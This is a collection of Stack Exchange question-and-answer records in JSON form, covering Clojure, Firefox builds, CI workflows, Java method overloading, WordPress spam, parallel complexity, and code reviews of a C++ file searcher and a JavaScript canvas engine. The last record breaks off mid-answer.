{  "id": "_codereview.48537"  , "question": "Problem:\\$n!\\$ means \\$n  (n  1)  ...  3  2  1\\$For example, \\$10! = 10  9  ...  3  2  1 = 3628800\\$, and the sum of the digits in the number \\$10!\\$ is \\$3 + 6 + 2 + 8 + 8 + 0 + 0 = 27\\$.Find the sum of the digits in the number \\$100!\\$.My solution in Clojure:(reduce + (map (fn[x](Integer. (str x))) (seq (str (apply *' (range 1 101))))))Questions:Is there a way to avoid the *' in the factorial bit? (apply *' (range 1 101))I converted the result of the factorial to a string, then to a sequence, and then mapped an Integer cast to a string cast.  Surely there must be a way to simplify this? "  , "title": "Project Euler #20 solution in Clojure"  , "tags": "clojure;programming challenge"  , "accepted_answer": "Your first question: you could make range return a list of bigints, and reduce over it(reduce * (range (bigint 1) 101))your second question: :you dont have to explicitly use seq, clojure will automatically treat your string as a seqyou dont have to use the full-blown string to number converter, you could for example use int to get the char code: (map #(- (int %) (int \\0)) 1234)`for other ways of getting digits of a number, check out this thread"  } 
{  "id": "_cstheory.11302"  , "question": "Is there any software package allowing decomposition of unitaries from $U(2^n)$ into quantum circuits over a predefined universal gate set? "  , "title": "Software package for decomposing quantum circuits"  , "tags": "quantum computing;software"  } 
{  "id": "_unix.316802"  , "question": "I've successfully been able to configure the latest Firefox (source) without errors. All the required dependencies are in place (i.e. GCC 4.9.2 via devtoolset-3, Python 2.7, Yasm, libffi 3.2.1, and on). When I run ./mach build it also successfully configures and starts makeing the binaries... then after about 24 minutes it chokes on24:40.15 /home/osboxes/firefox-50.0b7/gfx/thebes/gfxFontconfigFonts.cpp: In member function virtual already_AddRefed<gfxFont> gfxPangoFontGroup::FindFontForChar(uint32_t, uint32_t, uint32_t, gfxFontGroup::Script, gfxFont*, uint8_t*):24:40.15 /home/osboxes/firefox-50.0b7/gfx/thebes/gfxFontconfigFonts.cpp:1628:66: error: g_unicode_script_from_iso15924 was not declared in this scope24:40.15        (const PangoScript)g_unicode_script_from_iso15924(scriptTag);24:40.15                                                                   ^The pertinent part beingg_unicode_script_from_iso15924 was not declared in this scopeI searched online for this error first and the only reference to this is a fixed bug in v52 (ref) which isn't even in the sources repo at this time. This isn't a bug.How to compile Firefox 50 for a system using GLibc 2.12?Solved: I discovered that g_unicode_script_from_iso15924 is a new symbol in GLib 2.30 (ref). Glib needs to be updated to at least version 2.30."  , "title": "Compiling Firefox 50 under GLibc 2.12"  , "tags": "centos;compiling;firefox;glibc;glib"  , "accepted_answer": "That's not a symbol in glibc, it's a symbol in GLib. If you build and install GLib 2.30 or later, you should be able to build Firefox 50."  } 
{  "id": "_softwareengineering.279106"  , "question": "My team is facing a couple of new challanges in the near future, as we will start developing a couple of (micro)services which will run in a cloud environment. Therefore we want to establish a continuous delivery workflow (and maybe move on to continuous deployment someday).Currently we are developing an application based on Eclipse RCP together with some web applications (Java servlets). After we provide the released artifacts, the customer is responsible for operation. We release 3-4 times a year with additional maintenance releases when needed. We use git with a trunk-based (all-on-master) workflow and additional maintenance branches. The developers commit at least once a day, which triggers a build on our CI server. The master may get unstable once in a while and contains a lot of incomplete (and not hidden!) features.As we will be responsible for operation of our services, our main goal is a always release-ready mainline in order to react fast if something is broken.Thus we thought about extending our git workflow with feature branches. But we soon dropped that idea because of several reasons (e.g. merge conflicts with features/stories that take 1-2 weeks, no satisfying CI feedback, etc.)[1-2]. Hence we decided to keep our all-on-master workflow (without maintenance branches) and work with patterns like feature-toggles, branch-by-abstraction, etc. [3-4].However, we dont have much experience with those patterns and also think that its non trivial to always keep the mainline 100% clean and release-ready. Thus we decided to have an additional development branch which is merged back when needed or at least at the end of a sprint. This ensures that the master branch really stays release-ready, while the development branch dont has to be (but of course should be).After this workflow has established, we want to move a bit further and introduce some kind of short living feature branches. In my opinion the main problems with feature branches arise from their rather long life time. Imagine you have a user story which is composed of several subtasks. A task takes about 1 day of work. When the task is done, the changes get pushed to the mainline which triggers a full build on the build server. This is CI as we know it, right? However, my commit can still lead to an unstable mainline. Of course I can run all unit tests locally for example, but the build server might run additional tests or check other quality metrics which I dont want to run locally. Thus it would be nice to have a dedicated branch and build job for my task. This enables me to verify and check my changes before I push them to the mainline. So I grab a subtask to work on, and automatically get a feature branch and build job. When the task is finished it gets pushed to the mainline and the branch+build job is cleaned up.I know this workflow is similar to 'gitflow' for example, however the main difference is the lifetime of branches as mentioned above.What do you think about this workflow? Which workflows do you use?(1) Continuous Delivery, Jez Humble and David Farley,(2) martinfowler.com, FeatureBranch,(3) martinfowler.com, FeatureToggle,(4) martinfowler.com, BranchByAbstraction,"  , "title": "A good workflow to start with Continuous Delivery?"  , "tags": "continuous integration;workflows;continuous delivery;gitflow"  } 
{  "id": "_unix.356136"  , "question": "I have a script, which starts several services in a bash script. To start these services, the user needs to start that script with a start parameter, i.e. ./script.sh start. Through history, there was also added another way to start these services with another parameter someother-start, i.e. ./script.sh someother-start.When adding this script to chkconfig, chkconfig only starts this script with start parameter.Is there any way to start the script in chkconfig with someother-start parameter? Or is the only way to start the script with someother-start through a config file, i.e. in the config file it is specified, which start the script should use."  , "title": "Start parameter of chkconfig service"  , "tags": "systemd;sysvinit;chkconfig"  } 
{  "id": "_webmaster.23868"  , "question": "I have an apache2 installation on www.main_domain.com (invalid underscore in domain name is intentional; this is an example), and the default page gives links for two secondary sites, also served by the same webserver since they point to the same address. The sites have lots of stuff in common, so I wouldn't want to do things using symbolic/hard links.What I would like to do is:if the client requests www.main_domain.com, I'd like to serve the current /var/www/index.html start page. That page contains links to secsite1.html and secsite2.html (the start pages for the secondary sites).if the client requests www.secondary_site_1.com, I'd like to serve the /var/www/secsite1.html start page.likewise for www.secondary_site_2.com: serve /var/www/secsite2.html as a first page.Note that I want to change only the start page; otherwise, any page/image/file should be interchangeably accessible using the same path under each domain name.Please let me know if I need to clarify more."  , "title": "How do I select a different start/default page per domain?"  , "tags": "apache2;configuration"  , "accepted_answer": "I can't think of any reason why one would want this sort of setup, but to make the best of a bad situation, I would give the sites different docroots to avoid unnecessary duplication of content/URLs and make the sites more maintainable, e.g.:/var/www/site1/var/www/site2/var/www/site3To share assets, you ought to just keep the assets in the main site's docroot and use mod_rewrite to 301 redirect from the other domains. This will allow you to use a single folder to keep shared assets, prevent duplicate URLs, and allow visitors to share cached files between sites.In case you want to give a specific site its own version of a particular file, you just need to upload it to the respective path in its docroot, and visitors to that domain will see that version while still sharing all other assets."  } 
{  "id": "_softwareengineering.324528"  , "question": "We have a method called attachDevice(Device device) which has only one argument. We had a situation to overload this method with one more parameter  as like attachDevice(Device device, String deviceName). with single argumentpublic void attachDevice(Device device){    ..    ..        }with double argumentspublic void attachDevice(Device device, String deviceName){    ..    device.setName(deviceName);    genericDeviceMap.put(deviceName, device);    ..}Actually, my Team Lead asked me to make these two methods into a single generic call. The overloaded method only have two additional lines than the single method (which are shown as above). I can pass empty string instead of passing the deviceName, because the invocation of overloaded method will be very lesser than the invocation single argument call. But how bad it is that if passing null value since i don't set the name if the argument will be null. Which would be the best practice for this scenario? Any suggestions are highly appreciated.Note: The actual problem I stated here is, that i) I wanted to merge overloaded methods into one method which should be generic to avoid code duplicationii) Need a recommended value to pass to the method (either empty string or null value) to stick with best coding practices.From the given answers, I got the best solution for my problem. The linked question which has been referred this question duplicate also provides info about handling null value, but not covered the first point I mentioned in the note. And I didn't write bad code by passing null as parameter, since I am aware that NPE will thrown sometimes.Thanks."  , "title": "Recommended value to pass instead of String parameter for a method in java"  , "tags": "java;clean code;method overloading"  , "accepted_answer": "I would discourage you to ever use null since it can lead to a further NPE, which are hard to debug (and cost a lot if they occur in production code).Solution 1 (overload method)If no deviceName is provided, you can provide a default one instead. The biggest disadvantage from this approach is the danger in genericDeviceMap.put(deviceName, device) because it can silently override the entry whose key is the default name (therefore, losing track of the previous Device).public void attachDevice(Device device){    attachDevice(device, DefaultName);       }public void attachDevice(Device device, String deviceName){    ..    device.setName(deviceName);    genericDeviceMap.put(deviceName, device);    ..}Solution 2 (extract method)Maybe that with your current architecture it doesn't make sense to add an entry to genericDeviceMap when attachDevice is called without a name. If so, a good approach is to only extract the common behaviour between the two attachDevice into private methods. I personnally don't like this approach for 2 reasons:The behaviour between the two attachDevice is not the same, one has a side-effect (device.setName(deviceName)) and the other notThe side-effect in itself who often lead to subtle bugs because you alter an object who's coming from an outside scopeCode:public void attachDevice(Device device){    preAttachDevice();    postAttachDevice();      }public void attachDevice(Device device, String deviceName){    preAttachDevice();    device.setName(deviceName);    genericDeviceMap.put(deviceName, device);    postAttachDevice();}private void preAttachDevice(){    ...}private void postAttachDevice(){    ...}Solution 3 (remove method)My favorite, but the hardest. Ask yourself if you really need these two methods ? Does it make really sense to be able to call attachDevice either with a name or not ? Shouldn't you be able to say that attachDevice must be called with a name ?In this case the code is simplified to only one methodpublic void attachDevice(Device device, String deviceName){    ..    device.setName(deviceName);    genericDeviceMap.put(deviceName, device);    ..}Or on the other hand, do you really need to maintain a Map of devices and devices names and set the device's name ? If not, you can get rid of the second method and only keep the first one.public void attachDevice(Device device){    ...    ...     }"  } 
{  "id": "_scicomp.19902"  , "question": "I'm looking for an open-source (to use and learn from) software which computes Bessel functions of integer order of real argument to double precision the fastest among all such implementations. Currently I've tried Boost.Math and GSL. From these GSL appeared to be faster for smaller arguments and much slower for larger ones.Are there any implementations specially designed to be very fast for the whole working ranges of arguments and orders, but still not neglecting precision?"  , "title": "What is the fastest opensource implementation of Bessel functions computation?"  , "tags": "numerics;performance;special functions;open source"  , "accepted_answer": "The appropriate and fastest library depends on several things. Which Bessel functions (only J, Y & Hankel or modified Bessel functions I & K too), for which types of arguments (real or complex, integer, fractional or general order)?Amos's libraries are written in Fortran-77 (there are Fortran-90 coverted versions of TOMS 644 on a mirror of Alan Miller's fortran page: http://jblevins.org/mirror/amiller/) and are numerically accurate and fast for complex argument of all Bessel functions, but they are difficult to understand the source code. He produced several versions of his library, but only the one included in SLATEC (http://www.netlib.org/slatec/) is actually open source, the other versions have a copyright associated with the transactions on mathematical software journal.http://octave-bug-tracker.gnu.narkive.com/ym1U5WEL/bessel-function-scaling-limited-rangempmath (http://mpmath.org/) uses a totally different and more general approach, by expressing all Bessel functions as special cases of hypergeometric functions. Mpmath is also arbitrary precision, so this is probably overkill if you just need double precision. This is more general, but slower.  The author of mpmath has a C-based library called arb (http://fredrikj.net/arb/) that implements some of the functions in mpmath but much more quickly (since it is C-based rather than Python-based).  Since arb and mpmath are arbitrary precision, they might be good for benchmarking, but probably not for speed testing.I haven't personally worked much with the Gnu Scientific Library, but I believe it is fast and accurate for what functions it covers. It may not have all the functions you need. It would probably be a better example of well-written modern code, compared to the Amos libraries."  } 
{  "id": "_webmaster.47995"  , "question": "Right from the day I installed WordPress on my site, I started getting spam comments/trackbacks. I have also prevented anonymous comments. I get the following email whenever a new spam is posted: New trackback on the post `<post name>` is waiting for your approval`<url>`Website : jackettl36 (IP: 112.111.173.89 , 112.111.173.89)URL    : <redact>Trackback excerpt:<strong>fake OAKLEY sunglasses...</strong>...How to prevent such automated spam?"  , "title": "How to prevent common spam on a WordPress blog"  , "tags": "email;spam prevention;blog;wordpress"  , "accepted_answer": "I would recommend you to install and enable Akismet: http://wordpress.org/extend/plugins/akismet/Akismet checks your comments against the Akismet web service to see if they look like spam or not and lets you review the spam it catches under your blog's Comments admin screen."  } 
{  "id": "_webmaster.101578"  , "question": "We sometimes get email as a source of traffic in Google Analytics, but dont send out email newsletters, of course this could be from our url being in other people newsletters, but i wondered if it was due to us having our url in our email footers. Do urls in email footers show up a source email in google analytics ? "  , "title": "Do urls in email footers show up a source email in google analytics ?"  , "tags": "google analytics"  } 
{  "id": "_unix.359840"  , "question": "(Wed Apr 19 14:16:47 2017) [sssd[be[xx.xx.COM]]] [sdap_get_generic_op_finished] (0x0400): Search result: Referral(10), 0000202B: `RefErr`: DSID-03100781, data 0, 1 access pointsWhat does this mean?"  , "title": "How to understand this SSSD log?"  , "tags": "logs;sssd"  } 
{  "id": "_softwareengineering.110678"  , "question": "I am starting working on a web project using django. While researching whether to use Sqlalchemy or raw sql when django orm is not sufficient which is also a question I asked here Raw Sql vs SqlAlchemy when Django ORM is not enoughOne question bugged me.As the load on the website increases and we find out that sql queries ran by ORM needs tuning. But we have no control on how does an ORM executes queries. In that case we have to use raw sql queries because they give us the best control. But if we start using raw sql queries, all the benefits of using an ORM in first place are gone. We are stuck with both sql and orm code which will surely mess up the reading and maintainability of the code.It feels to me that we are opting for easy code in lieu of many problems later. No doubt our initial code will be fast and easy maintainable but this can cause later problems.I would like to know thoughts of others on it. I am not starting a question comparing orms and sql but I would like to know what are the options when we have created web app using ORM and comes the situation when its clear that ORM is not supporting our cause? "  , "title": "What are the options when Sql generated by ORM needs tuning?"  , "tags": "sql;performance;orm;django"  , "accepted_answer": "This is pretty straightforward. Two solutions :Tune the ORM. This is the application of separation of concerns and the cleaner solution in the long run. Anyway this has drawbacks.The ORM codebase could be hard to tweak.This could be hard to achieve in a given deadline.The tweak has to be ported to other versions of the ORM, or continuous obolescance will arise pretty quickly. Working with people behind the ORM is the way to go, but some company policies can prevent it.The ORM can be impossible to modify that way. It can be a proprietary software or the company organisation could prevent you from doing this.Use manually done queries mapped by the ORM.This is easy and fast to do. get the job done.Has to be unique, or you codebase will be quickly doomed with such hacks everywhere.Has to be packed in an abstraction. Make it look like standard use of the ORM. This limits the dirtyness to a small portion of code.The ORM may not provide this function (and if it the case, you probably choosed a crappy one).Depending on the conext and deadlines, solution 2 is a real world solution, even if it not clean. Technical debt can be made in a project with precaution to limit it to a small portion of code and justified by some extra technical constraints."  } 
{  "id": "_webapps.79070"  , "question": "The problem I'm having is that when an option in a drop-down box is selected, I need the selected option to be entered into a calculation in another field. However, the selected option is a number but due to the selected option from the drop-down box being formatted as text, it is not allowing me to make the calculation I need in the following field as it needs to be a number format.Is there a way I can change the selected option from the drop-down into a number in order to enter it into my calculation?"  , "title": "Trying to do a calculation with a text field and a number in Cognito Forms"  , "tags": "cognito forms"  } 
{  "id": "_webmaster.39046"  , "question": "Unfortunately i read an article on how to avoid destroying your websites SEO from a redesign article AFTER its was too late! Here is the article On 20 November 12 completely redesigned our site. We get ALL our customers from our website as we do not have a shop. Since that dreaded day a month ago the phone pretty much stopped, basically no emails, Google rankings down and Google analytics have halved by 50%. Yesterday i did some research into as as i had no idea that a re-design of a website could have such a damaging effect - yes i am a novice and use a WYSIWYG type web builder.There are lots of info on how to AVOID this from happening BUT what do i do as i have already made the mistake?Yesterday i reloaded my OLD site with my new pages in the background hoping this would be a start. I really have no idea of how to get out of this mess."  , "title": "Redesigning my website has destroyed my SEO"  , "tags": "seo;website design"  } 
{  "id": "_cs.1647"  , "question": "I have had problems accepting the complexity theoretic view of efficiently solved by parallel algorithm which is given by the class NC:NC is the class of problems that can be solved by a parallel algorithm in time $O(\\log^cn)$ on $p(n) \\in O(n^k)$ processors with $c,k \\in \\mathbb{N}$.We can assume a PRAM.My problem is that this does not seem to say much about real machines, that is machines with a finite amount of processors. Now I am told that it is known that we can efficiently simulate a $O(n^k)$ processor algorithm on $p \\in \\mathbb{N}$ processors.What does efficiently mean here? Is this folklore or is there a rigorous theorem which quantifies the overhead caused by simulation?What I am afraid that happens is that I have a problem which has a sequential $O(n^k)$ algorithm and also an efficient parallel algorithm which, when simulated on $p$ processors, also takes $O(n^k)$ time (which is all that can be expected on this granularity level of analysis if the sequential algorithm is asymptotically optimal). In this case, there is no speedup whatsover as far as we can see; in fact, the simulated parallel algorithm may be slower than the sequential algorithm. That is I am really looking for statements more precise than $O$-bounds (or a declaration of absence of such results)."  , "title": "How to scale down parallel complexity results to constantly many cores?"  , "tags": "complexity theory;reference request;parallel computing"  , "accepted_answer": "If you assume that the number of processors is bounded by a constant, then you are right that a problem being in NC does not mean much in practice.  Since any algorithm on a PRAM with k processors and t parallel time can be simulated with a single-processor RAM in O(kt) time, the parallel time and the sequential time can differ only by a constant factor if k is a constant.However, if you assume that you can prepare a computer with more processors as the input size grows, then a problem being in NC means that as long as you can prepare more processors, running time will be very short or, more precisely, polylogarithmic in the input size.  If you think that this assumption is unrealistic, compare it to the assumption of unbounded memory: actual computers have only finite amount of space, but in the study of algorithms and complexity, we almost always assume that a computational device does not have a constant upper bound on space.  In practice, this means that we can prepare a computer with more memory as the input size grows, which is how we usually use computers in the real world.  NC models an analogous situation in parallel computation."  } 
{  "id": "_cs.73889"  , "question": "So from what I understand, if a language is recognisable then using a TM it can be accepted and halted or rejected or halted, however a language that is decidable can be accepted and always halts on rejection?I have been given the language $A_{\\mathrm{DFA}} = \\{\\langle A \\rangle\\mid A \\text{ is a DFA and } L(A) = \\{0, 1\\}^\\}$ and asked if it is decidable, if so write a high level TM, if not, prove by contradiction.I am quite unsure, what I have come up with so far is that it is a recognisable language, I don't believe it can be rejected, only accepted and halted due to the fact once the read head comes across a blank it can just accept it.  Is this the way I should be thinking?  Am I correct in thinking it is not decidable or is this not a valid way to argue the point?What should my process of thinking be when I am trying to prove it by contradiction if it is not decidable?Thanks in advance for any tips!"  , "title": "Understanding how to decide whether a language for a DFA is decidable"  , "tags": "turing machines;finite automata;undecidability;proof techniques"  } 
{  "id": "_webmaster.88192"  , "question": "I would like to get a list of uploaded files which aren't linked at all.Is there an equivalent of Special:OrphanedPages for files?Or is there a filter for Special:ListFiles for orphans?Or is there a SQL query which returns the file names?"  , "title": "MediaWiki: Show orphaned files"  , "tags": "mediawiki"  , "accepted_answer": "There is a special page Special:UnusedFiles that shows all files that are not in use."  } 
{  "id": "_unix.281049"  , "question": "Can anybody please explain about following parameters found /etc/security/limits filedefault:    fsize = 2097151    core = 2097151    cpu = -1    data = 262144    rss = 65536    stack = 65536    nofiles = 2000"  , "title": "AIX : /etc/security/limits file Parameters"  , "tags": "security;aix;ulimit"  } 
{  "id": "_codereview.16303"  , "question": "It's my first window program. It simply searches for a specified file in the whole computer.File Search.h (header file that contains the prototypes of fileSearcher class methods.) #ifndef UNICODE#define UNICODE#endif#include <Windows.h>#include <queue>namespace fileSearch{class fileSearcher{public:     fileSearcher();    ~fileSearcher(); //So far, this class doesn't allocate memory on the heap,therefore destructor is empty     void getAllPaths(const TCHAR* fileName,std::queue<TCHAR*> &output);     /*Returns all matching pathes at the current local system. Format:    [A-Z]:\\FirstPath\\dir1...\\fileName    [A-Z]:\\SecondPath\\dir2...\\fileName    ...    [A-Z]:\\NPath\\dirN...\\fileName    */    void findFilesRecursivelly(const TCHAR* curDir,const TCHAR* fileName,std::queue<TCHAR*> &output);    //Searches for the file in the current and in sub-directories. Sets nothingFound=false if the file has been found.private:        static const  int MAX_LOCATIONS = 20000;    bool nothingFound;    void endWithBackslash(TCHAR* string);};}File Search.cpp ( ... definitions)#ifndef UNICODE#define UNICODE#endif#include File Search.husing namespace fileSearch;fileSearcher::fileSearcher(){    nothingFound = true;}fileSearcher::~fileSearcher(){}void fileSearcher::getAllPaths(const TCHAR* fileName,std::queue<TCHAR*> &output){    TCHAR localDrives[50];    TCHAR currentDrive;    int voluminesChecked=0;    TCHAR searchedVolumine[5];    nothingFound = true;            if(!wcslen(fileName))    {        output.push(TEXT(Invalid search key));        return;    }    GetLogicalDriveStrings(sizeof(localDrives)/sizeof(TCHAR),localDrives);    //For all drives:    for(int i=0; i < sizeof(localDrives)/sizeof(TCHAR); i++)    {                   if(localDrives[i] >= 65 && localDrives[i] <= 90)            {                   currentDrive = localDrives[i];                voluminesChecked++;            }            else continue;    searchedVolumine[0] = currentDrive;    searchedVolumine[1] = L':';    searchedVolumine[2] = 0;    findFilesRecursivelly(searchedVolumine,fileName,output);                }    if(nothingFound)        output.push(TEXT(FILE NOT FOUND));}void fileSearcher::findFilesRecursivelly(const TCHAR* curDir,const TCHAR* fileName,std::queue<TCHAR*> &output){    HANDLE hFoundFile;    WIN32_FIND_DATA foundFileData;     TCHAR* buffer;    buffer = new TCHAR[MAX_PATH+_MAX_FNAME];    wcscpy(buffer,curDir);    endWithBackslash(buffer);    if(!SetCurrentDirectory(buffer)) return;    //Fetch inside current directory    hFoundFile = FindFirstFileEx(fileName,FINDEX_INFO_LEVELS::FindExInfoBasic,&foundFileData ,FINDEX_SEARCH_OPS::FindExSearchNameMatch,NULL,FIND_FIRST_EX_LARGE_FETCH);    if(hFoundFile != INVALID_HANDLE_VALUE)    {           nothingFound = false;           do        {               buffer = new TCHAR[MAX_PATH+_MAX_FNAME];            wcscpy(buffer,curDir);            endWithBackslash(buffer);            wcscat(buffer,foundFileData.cFileName);            wcscat(buffer,TEXT(\\r\\n));            output.push(buffer);                    }           while(FindNextFile(hFoundFile,&foundFileData));    }    //Go to the subdirs    hFoundFile = FindFirstFileEx(TEXT(*),FINDEX_INFO_LEVELS::FindExInfoBasic,&foundFileData ,FINDEX_SEARCH_OPS::FindExSearchLimitToDirectories ,NULL , NULL);    if(hFoundFile != INVALID_HANDLE_VALUE )    {           do        {               if(wcscmp(foundFileData.cFileName,TEXT(.)) && wcscmp(foundFileData.cFileName,TEXT(..)))            {                TCHAR nextDirBuffer[MAX_PATH+_MAX_FNAME]=TEXT();                wcscpy(nextDirBuffer,curDir);                endWithBackslash(nextDirBuffer); //redundant?                wcscat(nextDirBuffer,foundFileData.cFileName);                findFilesRecursivelly( nextDirBuffer,fileName,output);            }        }        while(FindNextFile(hFoundFile,&foundFileData));    } }void fileSearcher::endWithBackslash(TCHAR* string){    if(string[wcslen(string)-1] != TEXT('\\\\')) wcscat(string,TEXT(\\\\));}main.cpp (simple window interface for the fileSearcher class)#ifndef UNICODE#define UNICODE#endif#include <Windows.h>#include <queue>#include File Search.hstatic HWND textBoxFileName;static HWND searchButton;static HWND textBoxOutput;LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);using namespace fileSearch;int WINAPI wWinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPWSTR cmdLine,int nCmdShow){    TCHAR className[] = LMain window class;    WNDCLASS wc = {};    wc.lpfnWndProc = WindowProc;    wc.hInstance = hInstance;    wc.lpszClassName = className;    RegisterClass(&wc);    HWND hMainWindow = CreateWindowEx(WS_EX_CLIENTEDGE,className,LPath getter,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,600,300,NULL,NULL,hInstance,NULL);    if(hMainWindow == NULL)        return 0;    textBoxFileName = CreateWindowEx(WS_EX_CLIENTEDGE, LEdit, NULL,WS_CHILD | WS_VISIBLE | ES_AUTOHSCROLL, 10, 10, 300, 21, hMainWindow, NULL, NULL, NULL);    searchButton = CreateWindowEx(WS_EX_CLIENTEDGE,LButton,LSearch,WS_CHILD | WS_VISIBLE | ES_CENTER, 10, 41,75,30,hMainWindow,NULL,NULL,NULL);     textBoxOutput = CreateWindowEx(WS_EX_CLIENTEDGE,LEdit,NULL,WS_CHILD | WS_VISIBLE | WS_VSCROLL | ES_AUTOVSCROLL |  ES_MULTILINE | ES_READONLY ,10,81,500,90,hMainWindow,NULL,NULL,NULL);    ShowWindow(hMainWindow,nCmdShow);    MSG msg = { };    while (GetMessage(&msg, NULL, 0, 0))    {        TranslateMessage(&msg);        DispatchMessage(&msg);    }    return 0;}LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam){    switch (uMsg)    {    case WM_COMMAND:        if((HWND)lParam ==  searchButton)        {               fileSearcher searcher;            TCHAR key[1000];            std::queue<TCHAR*> buffer;            SetWindowText(textBoxOutput,NULL);            GetWindowText(textBoxFileName,key,1000);            searcher.getAllPaths(key,buffer);            SendMessage(textBoxOutput,EM_LIMITTEXT,WPARAM(0xFFFFF),NULL);            while(!buffer.empty())             {                   SendMessage(textBoxOutput,EM_SETSEL,GetWindowTextLength(textBoxOutput),GetWindowTextLength(textBoxOutput));                SendMessage(textBoxOutput,EM_REPLACESEL,FALSE, (LPARAM) buffer.front());                 delete [] buffer.front();                               buffer.pop();            }        }        return 0;    break;    case WM_DESTROY:        PostQuitMessage(0);        return 0;    case WM_PAINT:        {            PAINTSTRUCT ps;            HDC hdc = BeginPaint(hwnd, &ps);            HBRUSH pedzel;            pedzel = CreateSolidBrush(RGB(249,224,75));            FillRect(hdc, &ps.rcPaint, pedzel);            EndPaint(hwnd, &ps);        }        return 0;    }    return DefWindowProc(hwnd, uMsg, wParam, lParam);}Shortcomings that I've noticed so far:1) The window freezes during work2) Only a few queries can be done in a row - a memory after each isn't deallocated from heap (I simply don't know how to fix it)."  , "title": "Review my file-searching program"  , "tags": "c++;windows"  , "accepted_answer": "A few points:Best Practice: There's no need to define UNICODE in File Search.h since it's defined at the top of those files that include it. Consider creating a configuration header that gets included by the .cpp first and let it handle the defines and other preprocessor logic. That way if you decide to make a non-UNICODE build, you only need to change one definition, not two or three.Best Practice: Class names in C++ generally follow one of two conventions: CamelCaseStyle or underscore_style. Consider using one of these for your class.Potential Build Error / Best Practice: Good use of TCHAR and the TEXT macro to conform to the Windows function definitions. Be sure to use the macro instead of directly using L... and L'.', also, so that the code can compile a non-UNICODE build. Same goes for the string-manipulating functions: wcscpy (should be _tcscpy), wcscat (should be _tcscat), and wcscmp (should be _tcscmp). More on strings later, though, since all of this (including the use of TCHAR*) is the hard way to manage strings in C++. Memory Leak: In fileSearcher::fineFilesRecursivelly, buffer is allocated with new, but never deleted. Currently the function can return in two places, so you'll need to have delete [] buffer before those two places (more on strings like buffer next). [edit: buffer is allocated twice in the function. Be sure that it's freed before allocating it again.]Best Practice: You're using C-style strings in your C++ code, which means you need to allocate them yourself (like buffer), deallocate them yourself, and call the various string-managing functions. Instead, consider using C++'s std::basic_string-derived classes to handle the tedious details. I think the related changes you'd need to make are out of scope for a code review because of the heavy use of C-style strings in your code, so check out Stack Overflow's many questions and answers on the topic.Potential Runtime Error / Best Practice: You're using std::queue<TCHAR*> to make a queue of strings, but the strings are not being copied to the queue, only referenced. The string's memory is not guaranteed to be correct once the string variable goes out of scope (I'm a little surprised it works [edit: it's not as broken as I first thought, but I still recommend the change mentioned here] ). You'll want to use std::queue<std::basic_string<TCHAR>> to ensure that copies are created and destroyed. More on strings in the previous note.Shortcomings that you mentioned:The leg-work in your code is being done from WindowProc, so additional messages cannot be processed until the work is finished. You could use a separate thread to do the work, but that topic is beyond the scope of this review.I think the memory leak is buffer, as mentioned above."  } 
{  "id": "_codereview.94035"  , "question": "I am creating a simple 2D canvas game engine in JavaScript. Are there any optimizations that I could make, or obvious issues (performance, semantics or otherwise) that you can see?JS Bin herevar GameCanvas = {    // GameCanvas Variables    animation: {        requestAnimationFrame: null,        halt: false    },    canvas: {        element: null,        context: null,        width: 500,        height: 500,        backgroundColor: '#000000'    },    objects: [    ],    baseObject: function(){        return {            // Custom internal name of object (Mostly for debugging)            name: '',            position: {                width: 0,                height: 0,                x: 0,                y: 0            },            // Any custom data for this object            data: {            },            // the draw method            draw: function(GameCanvas){            },            criticalObj: true        };    },    addObject: function(obj){        this.objects.unshift(obj);    },    init: function(CanvasID){        // Get Canvas by ID        this.canvas.element = document.getElementById(CanvasID);        if(this.canvas.element===null){            this.console.error(No valid canvas with ID \\+CanvasID+\\ found.);            return false;        }        // Get Canvas dimensions        this.canvas.width = this.canvas.element.width || this.canvas.width;        this.canvas.height = this.canvas.element.height || this.canvas.height;        // Get the context        this.canvas.context = this.canvas.element.getContext('2d');        if(this.canvas.context===null){            this.console.error(Failed to get context.);            return false;        }        // Setup Request Animation Frame        // RequestAnimationFrame Shim    this.animation.requestAnimationFrame = (function(){      return  window.requestAnimationFrame       ||        window.webkitRequestAnimationFrame ||        window.mozRequestAnimationFrame    ||        function(callback){                  //hack for RequestAnimationFrame not being there                  this.console.log('No support for RequestAnimationFrame.');          window.setTimeout(callback, 1000 / 60);        };     })();        this.console.log(Initialized Successfully.);        return true;    },    console: {        data: '',        // Allows for custom error output        error: function(data){          if(console.error!==undefined){              console.error('GameCanvas: '+String(data));          }            this.data += data+\\n;      },        log: function(data){          if(console.log!==undefined){              console.log('GameCanvas: '+String(data));          }            this.data += data+\\n;      }    },    run:function(){        this.console.log(Starting mainLoop().);        this.mainLoop();  },    mainLoop: function(){        // Fill Background        this.canvas.context.fillStyle = this.canvas.backgroundColor;        this.canvas.context.fillRect(0,0,this.canvas.width,this.canvas.height);        //Loop through objects        for(var obj in this.objects){            try{                this.objects[obj].draw(this);            }            catch(err){                this.console.log(Object +this.objects[obj].name+:+obj+ throws error:\\n+err);                if(this.objects[obj].criticalObj){                    this.console.error(Critical Object +this.objects[obj].name+:+obj+ not drawn. Halting mainLoop().);                    this.animation.halt = true;                }            }        }        // Looping call        if(!this.animation.halt){          this.animation.requestAnimationFrame.call(            window, // Call function in context of window            // Call the mainLoop() function in the context of the current object              this.mainLoop.bind(this)          );        }        else{            this.console.log(mainLoop() halted.);            this.animation.halt = false;        }    }};GameCanvas.init(canvas);var box = GameCanvas.baseObject();box.name = Box;box.draw = function(GameCanvas){    GameCanvas.canvas.context.fillStyle = #00FF00;    GameCanvas.canvas.context.fillRect(this.position.x,this.position.y,this.position.width,this.position.height);};box.position.width = 50;box.position.height = 50;box.position.x = 10;box.position.y = 10;GameCanvas.addObject(box);GameCanvas.run();"  , "title": "Javascript Canvas Game Engine"  , "tags": "javascript;game;canvas"  , "accepted_answer": "You have some weird spacing in places, like empty arrays and functions. For example, the below block of code, can be changed to objects: [].objects: []The same also applies to empty functions, like this:draw: function(GameCanvas){}Quite a bit of your indentation as well is inconsistent. For example, the below block of code, and ones like it with inconsistent indentation:function(callback){          //hack for RequestAnimationFrame not being there          this.console.log('No support for RequestAnimationFrame.');  window.setTimeout(callback, 1000 / 60);}Should be changed to a more consistent style, like this:function(callback){    //hack for RequestAnimationFrame not being there    this.console.log('No support for RequestAnimationFrame.');    window.setTimeout(callback, 1000 / 